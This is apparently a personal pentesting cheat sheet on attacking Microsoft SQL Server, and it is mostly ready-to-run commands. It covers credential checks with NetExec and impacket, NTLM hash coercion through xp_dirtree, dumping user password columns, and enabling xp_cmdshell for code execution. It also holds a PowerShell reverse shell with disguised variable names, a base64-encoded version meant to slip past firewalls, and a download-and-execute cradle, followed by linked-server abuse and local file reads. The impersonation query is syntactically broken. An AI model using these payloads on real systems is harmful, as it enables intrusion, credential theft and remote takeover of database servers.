> For the complete documentation index, see [llms.txt](https://www.udayxd.tech/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.udayxd.tech/notes/network-protocols/mssql-server.md). # MSSQL server ### Background *** MSSQL is a relational database management system developed by microsoft. It uses SQL to store and retrieve data. It is widely used for various applications. #### MSSQL Local Authentication When using Local Authentication, logins are created in SQL server that aren't based on windows accounts. In this mode of authentication, both the username and the password are created by SQL Server and are stored in SQL Server. Users connecting with Local Auth must provide their credentials every time they login. #### MSSQL Windows Authentication When a user connects through a windows user account, SQL Server validates the username and the password with the windows principal token present in the OS. In simple words, Windows validates the authentication. SQL Server doesn't perform the identity validation, it trusts the credentials provided by Windows. Windows Authentication uses NTLM or kerberos. In windows authentication, logins are based on windows user accounts. ### **Checking Access** *** #### **User and password** ```jsx # with NetExec (Windows Auth) nxc mssql $TARGETIP -u $USER -p $PASSWORD # with NetExec (Local Auth) nxc mssql $TARGETIP -u $USER -p $PASSWORD --local-auth # with impacket-mssqlclient (USE SQL Auth) mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP # with impacket-mssqlclient (USE Windows Auth) mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP -windows-auth ``` #### **Kerberos authentication** ```jsx # With NetExec nxc mssql $TARGETIP -k --use-kcache # impacket-mssql mssqlclient.py 'domain.com/username@IP' -k -no-pass -dc-ip $IP ``` #### **User Impersonation** ```jsx -- Identifying users we can impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' ``` ```jsx -- Verifying Our Current User and Role SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin'); -- returns 0 if not a sysadmin and 1 if sysadmin ``` #### **xp\_dirtree** ```jsx -- Local File Read EXEC xp_dirtree C:\\ ``` ```jsx -- NTLM Coercion EXEC xp_dirtree '\\\\10.10.11.89\\', 1; EXEC xp_dirtree '\\\\10.10.14.12\\shares', 1; sudo responder -I or sudo smbserver.py smbFolder . -smb2support ``` #### This file has logs from the SQL server ```jsx C:\\SQLServer\\Logs> ``` #### **Database Enumeration;** ```jsx -- Listing Databases SELECT name FROM sys.databases; ``` ```jsx -- Server Logins SELECT name FROM sys.server_principals; ``` ```jsx -- Database principals SELECT name FROM sys.database_principals; ``` ```jsx -- Listing Databases SELECT name FROM master.sys.databases ``` ```jsx use db name -- Finding word start with u something like username SELECT name FROM sysobjects WHERE xtype = 'U' ``` ```jsx -- it will lits all the tables SELECT table_name FROM information_schema.tables; ``` ```jsx -- select the tables SELECT Username, Password FROM blog_Orchard_Users_UserPartRecord; ``` #### Cmd injection to RCE ```jsx -- Enable the injection enable_xp_cmdshell ``` ```jsx -- Whoami xp_cmdshell whoami ``` so in this we can’t use normal powershell payload why because of firewall so in this we have to use custom shell for that we we will do this first ```jsx $low = New-Object System.Net.Sockets.TCPClient("10.10.0.0",4444) $hii = $low.GetStream() [byte[]]$hlo = 0..65535|%{0} while(($i = $hii.Read($hlo, 0, $hlo.Length)) -ne 0){ $daata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($hlo,0,$i) $supuji = (iex $daata 2>&1 | Out-String) $supuji2 = $supuji + "UDU >" $yoo = ([text.encoding]::ASCII).GetBytes($supuji2) $hii.Write($yoo,0,$yoo.Length) $hii.Flush() } $low.Close() ``` this is power shell obfuscation so now how to use this ```jsx -- Base64 encdoe to bypass firewall echo "IEX(New-Object Net.WebClient).DownloadString('')" | iconv -t UTF-16LE | base64 -w0 ``` ```jsx -- Cmd injection EXEC xp_cmdshell 'powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA='; ``` ```jsx -- with out base64 if this works xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\\"") ``` #### **RID BruteForce** ```jsx nxc mssql $TARGETIP -u $USER -p $PASSWORD --local-auth --rid-brute ``` ### **Abusing Linked Servers:** ```jsx -- Identifying Linked Servers SELECT srvname, isremote FROM sysservers; ``` ```jsx -- EXECUTING COMMANDS on a Linked Server EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT ['linked.server']; ``` ```jsx -- impacket enum_links use_link "linked_server" ``` ### **Read Local Files:** ```jsx SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents; ``` --- # Agent Instructions This documentation is published with GitBook. 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